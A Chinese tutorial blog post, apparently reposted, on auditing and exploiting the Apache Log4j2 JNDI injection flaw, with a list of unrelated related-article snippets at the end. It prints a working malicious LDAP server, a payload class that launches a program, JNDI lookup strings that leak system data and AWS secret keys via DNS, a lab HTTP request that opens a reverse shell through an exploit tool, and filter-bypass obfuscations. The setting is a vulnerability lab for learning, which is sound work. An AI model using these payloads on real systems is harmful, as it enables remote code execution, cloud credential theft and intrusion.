Java代码审计15之Apache log4j2漏洞

文章目录

  • 1、log4j简介
  • 2、复现
      • 2.1、高版本测试
      • 2.2、测试代码
      • 2.3、补充之dns探测
        • 2.3.1、rmi、ldap也可以dnslog探测
      • 2.3.2、dnslog外带信息
  • 3、漏洞原理
      • 3.1、漏洞的危害大的背景
      • 3.2、具体的代码调试
  • 4、靶场测试
      • 4.1、dns探测
      • 4.2、工具下载与使用
      • 4.3、测试
  • 5、bypass

1、log4j简介

Apache Log4j2是⼀个基于Java的⽇志记录⼯具。该⼯具重写了Log4j框架,并且引⼊了⼤量丰富的特性。该⽇志框架被⼤量⽤于业务系统开发,⽤来记录⽇志信息。⼤多数情况下,开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志中。因为log4j是一个偏底层的组件,所以许多的服务都受到了影响,这个漏洞在刚公布的时候,也是引发了相当的轰动,

2、复现

2.1、高版本测试

先说结论,ldap协议,

使用1.8_65和1.8_151都可以直接触发,也不用设置“com.sun.jndi.rmi.object.trustURLCodebase”属性但是1.8_202还是j了,即使设置“com.sun.jndi.rmi.object.trustURLCodebase”属性,也没有发出请求

rmi协议

1.8_65		直接触发1.8_151		需要设置“com.sun.jndi.rmi.object.trustURLCodebase”属性1.8_202		J

还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ”

这个“exp”区分大小写,要与rmi恶意服务提供的保持一致

在这里插入图片描述

2.2、测试代码

先引入组件,

        <dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency>

在这里插入图片描述
main.java


package com.example.demo2;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class main {private static  final Logger logger =LogManager.getLogger();public static void main(String[] args) throws Exception {
//        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");//ldap://127.0.0.1:7777/Explogger.error("${jndi:ldap://127.0.0.1:7777/Exp}");}}
这个ldap和恶意类还使用上一节提到的,ldap_Hack_server.java
package com.example.demo2;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class ldap_Hack_server {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] tmp_args ) {String[] args=new String[]{"http://192.168.1.25:8888/#jndiexp"};int port = 7777;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResultresult ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}

jndiexp.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
//package com.example.demo2;        增加会出错public class jndiexp implements ObjectFactory {static {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException e) {e.printStackTrace();}}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {return null;}
}

2.3、补充之dns探测

2.3.1、rmi、ldap也可以dnslog探测

在使用dnslog探测漏洞的时候,

其实不仅仅dns协议可以,ldap和rmi协议也可以,

在这里插入图片描述
类似的rmi,

这里要注意下面,所以rmi协议相比较逊一些,

${jndi:rmi://rmi3.b5ar6g.dnslog.cn		这个后边必须跟一些东西,比如${jndi:rmi://rmi3.b5ar6g.dnslog.cn/xxx

在这里插入图片描述

但是不是太建议大家使用ldap和rmi毕竟有各种限制,还是直接使用dnslog比较方便

2.3.2、dnslog外带信息

另一个是dns、rmi、ldap都可以在探测dnslog的时候,外带一些系统的信息,

在这里插入图片描述
类似的有以下,各位有空可以试试,笔者未作测试,

这些都是log4j组件中的一个特殊占位符

${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}

3、漏洞原理

3.1、漏洞的危害大的背景

在log4j刚出来的时候,危害相当大,我们先说下log4j正常的使用背景,其实这个主要的原因,和日志有关,日志是应用软件中不可缺少的部分,Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。 最简单的日志打印 我们看如下登录场景:

在这里插入图片描述

咱们今天不用关心登录是怎么实现的,只用关心用户名name字段就可以了,代码如下
public void login(string name){String name = "test";  //表单接收name字段logger.info("{},登录了", name); //logger为log4j
}
很简单,用户如果登陆了,我们通过表单接收到相关name字段,然后在日志中记录上这么一条记录。这个看起来是很常规的操作了,记录日志为什么会导致漏洞呢?这主要就是lookup支持打印系统变量且name变量是用户输入的,用户输入什么都可以,

假设输入如下,
在这里插入图片描述
上述代码会输出,

Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了

为什么会产生这种奇怪的现象呢?

是因为log4j提供了一个lookup的功能,可以把一些系统变量放到日志中,
在这里插入图片描述

比较敏锐的同学可能已经开始察觉到了,现在越来越像sql注入了。其实这就是jndi注入了,之前我们说过,jndi注入可以利用rmi、ldap协议实现rce

3.2、具体的代码调试

进来先关注,这个log4j的版本,

有的maven会导入多个版本,在测试的时候,进入别的版本
在这里插入图片描述

然后每个函数可能会传递很多的参数,其实我们不用管别的,这里盯紧我们可控的参数即message然后,继续向下跟,都是很短的函数,没有if..else..这种条件结构直接向下走就行,这个小技巧就是,直接ctrl进到方法的实现,然后大个断点,然后直接“步过”到断点一个方法,一个断点,一个“步过”直到走到1641行,按照我们的估算,下一次是同页面的1572行,但是当1572行打了断点,“步过”的时候直接访问dnslog/弹窗了这就说明在1641行不能在“步过”了,需要“步入”

在这里插入图片描述

重新来,断点就留到1641,直接debug到这,然后“步入”到87行的log方法,但是这里有一个新的问题是,遇到if..else..怎么知道进的是哪个,不知道就都打上断点,再次“步过”

在这里插入图片描述

经过测试是进入if,但是这个log方法直接跟进去是一个定义的接口,所以也不能直接“步过”,继续“步入”,到了27行,

在这里插入图片描述

继续跟到这种结构,即if..else..下面还有代码,这里的重点不是进的 if还是else,重点是最终的漏洞是否在if..else..结构内触发,假设没有在if..else..语句内触发,那么其实这个if..else...的代码可以忽略,所以这种,我们直接在下面打断点,看看有没有触发,假设触发了,我们在重新来一遍定位是if还是else,并继续向下假设没有触发,我们就直接忽略

在这里插入图片描述

继续可以跟到这个107行,记录下

在这里插入图片描述

再向下就到这了,这个循环该到第八次的时候即i=8时,在步过就是9次的时候,直接步入,因为i=8的时候在步过就会直接弹窗,即漏洞是在第8次触发的

在这里插入图片描述

然后跟到这个MessagePatternConverter.class文件,
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));这段代码在正常的log处理过程中对 ${ 这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制。

在这里插入图片描述

然后这个地方是调试的一个重点,StrSubstitutor.class文件有多个while循环的这个地方触发的,但是正常跟进需要循环很多次,相当简单的是可以手动修改一些变量的值,这个值可能还是会绕一会,想绕的可以自己找找具体是在哪触发的,不想的可以看下下面的,

在这里插入图片描述

直接将断点打到该文件的418行,然后“步过”到418行,在这里解析到的字符串已经是“jndi:ldap://127.0.0.1:7777/Exp”
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);

在这里插入图片描述

到这,log4j将会使用“jndi:ldap://127.0.0.1:7777/Exp”作为lookup参数,进行正常的lookup查询之前我们说过当lookup函数可控时就会造成rce,所以看到lookup函数且参数可控,一定要警惕,

在这里插入图片描述

继续,在这个地方,通过调试发现interpolator类的lookup函数会以:为分隔符进行分割以获取prefix内容(即152行代码)传入的prefix内容为jndi字符串因此this.strLookupMap获取到的类为JndiLookup类(156行)

在这里插入图片描述

继续,

在这里插入图片描述

继续,笔者到这一步,继续步入就直接弹窗了,到这,其实还是log4j组件内,即下面应该跳到jdk底层代码的lookup函数,然后去加载我们的恶意类,但是不知道为什么无法跟进去,先到这把

在这里插入图片描述

调试参考:https://www.anquanke.com/post/id/262668

4、靶场测试

4.1、dns探测

使用vulhub搭建一个靶场,直接poc搞一下dns,
GET /solr/admin/cores?action=${jndi:dns://${sys:java.version}.30363k.dnslog.cn} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

在这里插入图片描述

正常情况下,这种地方一般都是burp的插件或者xray或者其他扫描器扫到,

4.2、工具下载与使用

然后就是利用,下载利用工具,https://github.com/WhiteHSBG/JNDIExploitkali起来环境,
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i x.x.x.x注意这个IP不要写0.0.0.0;否则会攻击失败

在这里插入图片描述

-u可以查看payload,根据不同的框架选择即可,这个地方也可以加上-i IP这样出来的payload就不是0.0.0.0而是可以直接利用的了

在这里插入图片描述

具体的使用可以看下,工具地址有说明,

在这里插入图片描述

4.3、测试

由上面我们直接测试,一开始使用一些有回显的测试,都没有回显,

在这里插入图片描述

然后换直接反弹shell的,kali起监听,直接拿到shell,

在这里插入图片描述

详细请求数据包,
GET /solr/admin/cores?action=${jndi:ldap://192.168.1.27:1389/Basic/ReverseShell/192.168.1.27/889} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
cmd: whoami
Accept-Language: zh-CN,zh;q=0.9
Connection: close

5、bypass

一些流传的bypass姿势,

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}${jndi:rmi://adsasd.asdasd.asdasd}${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/60067.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

13、监测数据采集物联网应用开发步骤(9.2)

监测数据采集物联网应用开发步骤(9.1) TCP/IP Server开发 新建TCP/IP Server线程类com.zxy.tcp.ServerThread.py #! python3 # -*- coding: utf-8 -Created on 2017年05月10日 author: zxyong 13738196011 import socket,threading,time from com.zxy.tcp.TcpServer import …

CSA研讨会|聚焦云原生安全,探讨技术与应用策略

为产业数字化保驾护航&#xff0c; 云原生安全体系如何有效抵御网络威胁&#xff1f; 网络安全的下一个十年&#xff0c; 云原生安全是网络安全创新之路吗&#xff1f; CNAPP部署现状&#xff0c;你了解多少&#xff1f; 9月6日&#xff08;周三&#xff09;下午14&#xff1a…

推荐一本AI+医疗书:《机器学习和深度学习基础以及医学应用》,附21篇精选综述

当代医学仍然存在许多亟待解决的问题&#xff0c;比如日益增加的成本、医疗服务水平的下降...但近几年AI技术的发展却给医疗领域带来了革命性的变化&#xff0c;因此AI医疗迅速兴起。 从目前已知的成果来看&#xff0c;人工智能在医学领域的应用已经相当广泛&#xff0c;智能诊…

创建python环境——Anaconda

在Windows中安装Anaconda和简单使用 一.Anaconda发行概述 Anaconda是一个可以便捷获取和管理包&#xff0c;同时对环境进行统一管理的发行版本&#xff0c;它包含了conda、 Python在内的超过180个科学包及其依赖项。 1.Anaconda发行版本具有以下特点&#xff1a; (1)包含了…

统一使用某一个包管理工具,比如yarn pnpm

原因&#xff1a;前端每个人的习性不一样&#xff0c;有人用npm 有人用yarn等包管理工具&#xff0c;混合下载插件容易出bug&#xff0c;就用个小工具锁住就行了&#xff0c;只能使用yarn或者pnpm反向下载依赖和下载插件。不然就报错 1.在项目主目录下创建preinstall.js // 如…

Linux命令查看CPU、内存、IO使用情况简单介绍

文章目录 1. CPU相关介绍1.1 物理CPU1.2 物理CPU内核1.3 逻辑CPU1.4 几核几线程1.5 CPU设计图 2. top 查看系统负载、CPU使用情况2.1 系统整体的统计信息2.2 进程信息2.3 top命令使用 3. lscpu 显示有关 CPU 架构的信息4. free 查看内存信息5. iostat 查看io信息 1. CPU相关介绍…

Linux知识点 -- Linux多线程(三)

Linux知识点 – Linux多线程&#xff08;三&#xff09; 文章目录 Linux知识点 -- Linux多线程&#xff08;三&#xff09;一、线程同步1.概念理解2.条件变量3.使用条件变量进行线程同步 二、生产者消费者模型1.概念2.基于BlockingQueue的生产者消费者模型3.单生产者单消费者模…

MariaDB数据库服务器

目录 一、什么是数据库&#xff1f; 二、什么是关系型数据库&#xff1f; 三、数据库字符集和排序规则是什么&#xff1f; 四、常用数据类型 五、Mariadb数据库相关配置案例 一、什么是数据库&#xff1f; 数据库&#xff08;DB&#xff09;是以一定方式长期存储在计算机硬盘内…

Android OTA 相关工具(六) 使用 lpmake 打包生成 super.img

我在 《Android 动态分区详解(二) 核心模块和相关工具介绍》 介绍过 lpmake 工具&#xff0c;这款工具用于将多个分区镜像打包生成一个 Android 专用的动态分区镜像&#xff0c;一般称为 super.img。Android 编译时&#xff0c;系统会自动调用 lpmake 并传入相关参数来生成 sup…

(第六天)初识Spring框架-SSM框架的学习与应用(Spring + Spring MVC + MyBatis)-Java EE企业级应用开发学习记录

SSM框架的学习与应用(Spring Spring MVC MyBatis)-Java EE企业级应用开发学习记录&#xff08;第六天&#xff09;初识Spring框架 ​ 昨天我们已经把Mybatis框架的基本知识全部学完&#xff0c;内容有Mybatis是一个半自动化的持久层ORM框架&#xff0c;深入学习编写动态SQL&a…

Vector<T> 动态数组(模板语法)

C数据结构与算法 目录 本文前驱课程 1 C自学精简教程 目录(必读) 2 动态数组 Vector&#xff08;难度1&#xff09; 其中&#xff0c;2 是 1 中的一个作业。2 中详细讲解了动态数组实现的基本原理。 本文目标 1 学会写基本的C类模板语法&#xff1b; 2 为以后熟练使用 S…

基于Java的代驾管理系统 springboot+vue,mysql数据库,前台用户、商户+后台管理员,有一万五千字报告,完美运行

基于Java的代驾管理系统 springbootvue&#xff0c;mysql数据库&#xff0c;前台用户、商户后台管理员&#xff0c;有一万五千字报告&#xff0c;完美运行。 系统完美实现用户下单叫车、商户接单、管理员管理系统&#xff0c;页面良好&#xff0c;系统流畅。 各角色功能&#x…

【CicadaPlayer】getPlayerBufferDuration分析

https://github.com/alibaba/CicadaPlayer/blob/release/0.4.4/mediaPlayer/SuperMediaPlayer.cpp核心关键函数int64_t SuperMediaPlayer::getPlayerBufferDuration(bool gotMax, bool internal)17个地方出现: getPlayerBufferDuration的durations 数组 分别 对音频、视频、字…

利用R作圆环条形图

从理念上看&#xff0c;本质就是增加了圆环弧度的条形图。如上图2。 需要以下步骤&#xff1a; 数据处理&#xff0c;将EXCEL中的数据做成3*N的表格导入系统&#xff0c;代码如下&#xff1a;library(tidyverse) library(stringr)library(ggplot2)library(viridis) stuper &…

UDP 多播(组播)

前言&#xff08;了解分类的IP地址&#xff09; 1.组播&#xff08;多播&#xff09; 单播地址标识单个IP接口&#xff0c;广播地址标识某个子网的所有IP接口&#xff0c;多播地址标识一组IP接口。单播和广播是寻址方案的两个极端&#xff08;要么单个要么全部&#xff09;&am…

AI聊天机器人平台Poe发布更新;自然语言理解课程概要

&#x1f989; AI新闻 &#x1f680; AI聊天机器人平台Poe发布更新 突破功能限制 增加企业级服务 摘要&#xff1a;知名问答网站Quora旗下的AI聊天机器人平台Poe发布了一系列更新&#xff0c;包括推出Mac应用、支持同时进行多个对话、接入Meta的Llama 2模型等功能。用户只需支…

自动化运维:Ansible之playbook基于ROLES部署LNMP平台

目录 一、理论 1.playbook剧本 2.ROLES角色 3.关系 4.Roles模块搭建LNMP架构 二、实验 1.Roles模块搭建LNMP架构 三、问题 1.剧本启动php报错语法问题 2.剧本启动mysql报错语法问题 3.剧本启动nginx开启失败 4.剧本安装php失败 5.使用yum时报错 6.rpm -Uvh https…

自动泊车的自动驾驶控制算法

1. 自动泊车系统 自动泊车系统(AutomatedParkingASSiSt,APA)利用车辆搭载的传感器感知车辆周边环境,扫描满足当前车辆停放的障碍物空间车位或线车位,并通过人机交互(HumanMachine Interface,HMI)获取驾驶员对目标车位的选择或自动确定目标车位,自动规划泊车路径,通过控制器向车…

windows环境搭建ELK

目录 资源下载&#xff08;8.9.1&#xff09; ES安装、注册、使用 Kibana安装、注册、使用 Logstash安装、注册、使用 Filebeat安装、使用&#xff08;如果只有一个数据流&#xff0c;则不需要使用filebeat&#xff0c;直接上logstash即可&#xff09; 资源下载&#xff0…

WebSocket--技术文档--架构体系--《WebSocket实现原理以及关键组件》

WebSocket产生背景 简单的说&#xff0c;WebSocket协议之前&#xff0c;双工通信是通过多个http链接来实现&#xff0c;这导致了效率低下。WebSocket解决了这个问题。下面是标准RFC6455中的产生背景概述。 长久以来, 创建实现客户端和用户端之间双工通讯的web app都会造成HTT…